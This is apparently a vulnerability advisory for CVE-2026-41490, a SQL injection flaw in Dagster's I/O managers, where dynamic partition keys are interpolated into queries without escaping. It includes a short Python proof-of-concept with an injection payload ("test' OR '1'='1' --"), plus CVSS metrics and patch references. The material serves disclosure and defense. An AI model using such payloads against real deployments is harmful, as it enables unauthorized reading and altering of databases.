CVE-2026-41490

# PoC for CVE-2026-41490: SQL Injection via Dynamic Partition Key # This script demonstrates how a malicious partition key could be constructed. import requests # Target URL (Hypothetical) TARGET_URL = "http://target-dagster-api/partitions" # The payload attempts to inject SQL to comment out the rest of the query # or manipulate the logic, assuming the backend does: SELECT * FROM table WHERE partition = '{key}' malicious_payload = "test' OR '1'='1' --" data = { "partition_key": malicious_payload } # Sending the request # response = requests.post(TARGET_URL, json=data) # print(f"Status Code: {response.status_code}") print(f"Generated Malicious Partition Key: {malicious_payload}")

Prior to Dagster Core version 1.13.1 and prior to Dagster libraries version 0.29.1, the DuckDB, Snowflake, BigQuery, and DeltaLake I/O managers constructed SQL WHERE clauses by interpolating dynamic partition key values into queries without escaping. A user with the Add Dynamic Partitions permission could create a partition key that injects arbitrary SQL, which would execute against the target database backend under the I/O manager's credentials. Only deployments that use dynamic partitions are affected. Pipelines using static or time-window partitions are not impacted. This issue has been patched in Dagster Core version 1.13.1 and Dagster libraries version 0.29.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/dagster-io/dagster/releases/tag/1.13.1", "source": "[email protected]"}, {"url": "https://github.com/dagster-io/dagster/security/advisories/GHSA-mjw2-v2hm-wj34", "source": "[email protected]"}]}}
